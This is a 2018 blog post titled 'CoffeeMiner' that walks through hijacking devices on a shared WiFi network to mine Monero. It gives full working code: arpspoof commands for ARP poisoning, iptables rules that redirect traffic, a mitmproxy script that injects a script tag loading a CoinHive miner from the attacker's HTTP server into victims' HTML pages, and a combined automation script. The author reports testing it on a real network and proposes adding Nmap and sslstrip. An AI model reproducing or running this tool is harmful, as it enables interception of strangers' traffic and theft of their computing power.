arnaucube.com/blogo-input/posts/coffeeminer-hacking-wifi-cryptocurrency-miner.md
blogo-input/posts/coffeeminer-hacking-wifi-cryptocurrency-miner.mdRaw
1# CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests
2
3*2018-01-04*
4
5***Disclamer: this article & project is for academic purposes only.***
6
7Some weeks ago I read about [this Starbucks case](https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive) where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.
8
9The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.
10
11
12
13The objective is to have a script that performs autonomous attack on the WiFi network. It's what we have called **CoffeeMiner**, as it's a kind of attack that can be performed in the cafes WiFi networks.
14
15
16## 1. The Scenario
17The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.
18
19
20
21
22### 1.1 Scenario configuration
23The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.
24
25We will use VirtualBox to deploy our virtual scenario https://www.virtualbox.org/ .
26
27First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images https://www.kali.org/
28
29Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.
30
31To configure the defined scenario we need to prepare the machines each one with a role:
32
33- Victim
34 - will be the machine that connects to the Router and browse some pages.
35- Attacker
36 - will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.
37- Router / Gateway
38 - will act as a normal gateway.
39
40
41
42Once the attack is performed, the scenario will be:
43
44
45
46To configure each one of the machines, we will do the following configuration:
47
48- Victim
49 - network adapter:
50 - eth0: Host-only Adapter
51 - /etc/network/interfaces:
52
53```bash
54auto lo
55iface lo inet loopback
56
57auto eth0
58iface eth0 inet static
59 address 10.0.2.10
60 netmask 255.255.255.0
61 gateway 10.0.2.15
62```
63
64- Attacker
65 - network adapter:
66 - eth0: Host-only Adapter
67 - /etc/network/interfaces:
68
69```bash
70auto lo
71iface lo inet loopback
72
73auto eth0
74iface eth0 inet static
75 address 10.0.2.20
76 netmask 255.255.255.0
77 gateway 10.0.2.15
78```
79
80
81- Router / Gateway
82 - network adapter:
83 - eth0: Bridged Adapter
84 - eth1: Host-only Adapter
85 - /etc/network/interfaces:
86
87```bash
88auto lo
89iface lo inet loopback
90
91auto eth0
92iface eth0 inet dhcp
93
94auto eth1
95iface eth1 inet static
96 address 10.0.2.15
97 netmask 255.255.255.0
98```
99
100## 2. CoffeeMiner, understanding the code
101
102### 2.1 ARPspoofing
103First of all, we need to understand how the MITM attack is performed.
104
105From wikipedia:
106
107*"In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker's MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead."*
108
109https://en.wikipedia.org/wiki/ARP_spoofing
110
111To perform the ARPspoofing attack, we will use the **dsniff** library.
112
113```bash
114arpspoof -i interface -t ipVictim ipGateway
115arpspoof -i interface -t ipGateway ipVictim
116```
117
118### 2.2 mitmproxy
119[mitmproxy](https://mitmproxy.org/) is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.
120
121To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.
122
123The line to inject the crypto miner is:
124```html
125<script src="http://httpserverIP:8000/script.js"></script>
126```
127
128
129### 2.3 Injector
130Once we have the victim's traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:
131
132```python
133from bs4 import BeautifulSoup
134from mitmproxy import ctx, http
135import argparse
136
137class Injector:
138 def __init__(self, path):
139 self.path = path
140
141 def response(self, flow: http.HTTPFlow) -> None:
142 if self.path:
143 html = BeautifulSoup(flow.response.content, "html.parser")
144 print(self.path)
145 print(flow.response.headers["content-type"])
146 if flow.response.headers["content-type"] == 'text/html':
147 script = html.new_tag(
148 "script",
149 src=self.path,
150 type='application/javascript')
151 html.body.insert(0, script)
152 flow.response.content = str(html).encode("utf8")
153 print("Script injected.")
154
155def start():
156 parser = argparse.ArgumentParser()
157 parser.add_argument("path", type=str)
158 args = parser.parse_args()
159 return Injector(args.path)
160
161```
162
163
164### 2.4 HTTP Server
165As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.
166
167In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library 'http.server':
168```python
169#!/usr/bin/env python
170import http.server
171import socketserver
172import os
173
174PORT = 8000
175
176web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
177os.chdir(web_dir)
178
179Handler = http.server.SimpleHTTPRequestHandler
180httpd = socketserver.TCPServer(("", PORT), Handler)
181print("serving at port", PORT)
182httpd.serve_forever()
183```
184The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.
185
186The javascript miner, will be placed in the /miner_script directory. In our case, we have used the [CoinHive](https://coinhive.com/) javascript miner.
187
188
189### 2.5 CoinHive crypto miner
190[CoinHive](https://coinhive.com/) is a javascript miner for the [Monero cryptocurrency](https://coinmarketcap.com/es/currencies/monero/) (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on [CryptoNote](https://cryptonote.org/) protocol.
191
192CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn't make much sense.
193
194In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.
195
196
197
198## 3. CoffeeMiner, puting all together
199The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.
200
201The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.
202
203
204First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker's machine into a proxy:
205
206```bash
207echo 1 > /proc/sys/net/ipv4/ip_forward
208iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
209iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
210```
211
212To perform the ARPspoof for all the victims, we will prepare a 'victims.txt' file with all the victim's IP.
213To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim's IP.
214
215```python
216# get gateway_ip
217gateway = sys.argv[1]
218print("gateway: " + gateway)
219# get victims_ip
220victims = [line.rstrip('\n') for line in open("victims.txt")]
221print("victims:")
222print(victims)
223
224# run the arpspoof for each victim, each one in a new console
225for victim in victims:
226 os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
227 os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
228```
229
230Once we have the ARPspoofing performed, we just need to run the HTTP Server:
231```bash
232> python3 httpServer.py
233```
234And now, we can run the mitmproxy with the injector.py:
235```bash
236> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
237```
238
239## 3.1 CoffeeMiner, final script
240Now we put all the concepts explained above in the 'coffeeMiner.py' script:
241
242```python
243import os
244import sys
245
246#get gateway_ip (router)
247gateway = sys.argv[1]
248print("gateway: " + gateway)
249# get victims_ip
250victims = [line.rstrip('\n') for line in open("victims.txt")]
251print("victims:")
252print(victims)
253
254# configure routing (IPTABLES)
255os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
256os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
257os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
258os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
259
260
261# run the arpspoof for each victim, each one in a new console
262for victim in victims:
263 os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
264 os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
265
266# start the http server for serving the script.js, in a new console
267os.system("xterm -hold -e 'python3 httpServer.py' &")
268
269# start the mitmproxy
270os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
271```
272And also in the 'injector.py' script:
273
274```python
275from bs4 import BeautifulSoup
276from mitmproxy import ctx, http
277import argparse
278
279class Injector:
280 def __init__(self, path):
281 self.path = path
282
283 def response(self, flow: http.HTTPFlow) -> None:
284 if self.path:
285 html = BeautifulSoup(flow.response.content, "html.parser")
286 print(self.path)
287 print(flow.response.headers["content-type"])
288 if flow.response.headers["content-type"] == 'text/html':
289 print(flow.response.headers["content-type"])
290 script = html.new_tag(
291 "script",
292 src=self.path,
293 type='application/javascript')
294 html.body.insert(0, script)
295 flow.response.content = str(html).encode("utf8")
296 print("Script injected.")
297
298def start():
299 parser = argparse.ArgumentParser()
300 parser.add_argument("path", type=str)
301 args = parser.parse_args()
302 return Injector(args.path)
303```
304
305And to execute, we just need to do:
306
307```bash
308> python3 coffeeMiner.py RouterIP
309```
310
311## 4. Demo
312In order to do the demo, we set up the VirtualBox scenario explained above.
313
314If we want to perform the attack manually, we will need the following terminals:
315
316
317
318Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim's machine and browse to a website. The victim's traffic will go through the attacker machine, and will activate the injector:
319
320
321
322As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.
323
324
325
326#### 4.1 Demo video
327
328In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:
329
330- VirtualBox demo:
331
332[](https://www.youtube.com/watch?v=wmYJ6Z4LoCA)
333
334- Real world WiFi network and laptops demo:
335
336[](https://www.youtube.com/watch?v=-TnzGLUD0DU)
337
338
339## Conclusion
340As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.
341
342Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.
343
344Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous [Nmap](https://nmap.org/) scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding [sslstrip](https://moxie.org/software/sslstrip/), to make sure the injection also in the websites that the user can request over HTTPS.
345
346The complete code is available in the github repo: https://github.com/arnaucube/coffeeMiner
347
348---
349
350***Disclamer: this article & project is for academic purposes only.***
351
352---
353*tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3*
354
355
356
357---
358
359# References in the press about this article
360
361- English
362 - https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/
363 - http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html
364 - https://gbhackers.com/coffeeminer-hacking-wifi/
365 - https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/
366 - http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/
367 - https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/
368 - http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/
369 - https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency
370 - https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&utm_medium=Sociallymap&utm_campaign=Sociallymap
371 - http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html
372 - https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5
373 - https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/
374 - https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/
375 - https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/
376 - https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/
377 - https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/
378 - https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html
379 - https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/
380 - https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/
381 - http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320
382
383- Spanish
384 - http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html
385 - https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/
386 - http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
387 - https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
388 - https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/
389 - http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
390 - https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/
391 - https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/
392
393- Russian
394 - https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/
395 - https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty
396 - https://xakep.ru/2018/01/10/coffeeminer/
397
398- Italian
399 - http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute
400
401- Bulgarian
402 - https://questona.com/coffeeminer-wifi/
403
404- Greek
405 - https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/
406
407- Turkish
408 - http://blog.cyberage.com.tr/2018/01/10/coffeeminer/
409
410- Dutch
411 - https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/
412
413- Chinese
414 - http://www.4hou.com/wireless/9773.html
415 - https://www.ithome.com.tw/news/120449
416
417#### Destacated tweets
418- @defcon https://twitter.com/defcon/status/949679959509012480
419- @x0rz https://twitter.com/x0rz/status/948865836609130496
420- @avast_antivirus https://twitter.com/avast_antivirus/status/951835917815308288
421- @fullstackpython https://twitter.com/fullstackpython/status/949707681543213057
422- @alienvault https://twitter.com/alienvault/status/950449599872929792
423- @binitamshah https://twitter.com/binitamshah/status/951520444900818945
424- @_odisseus https://twitter.com/_odisseus/status/951052521967144960
425
426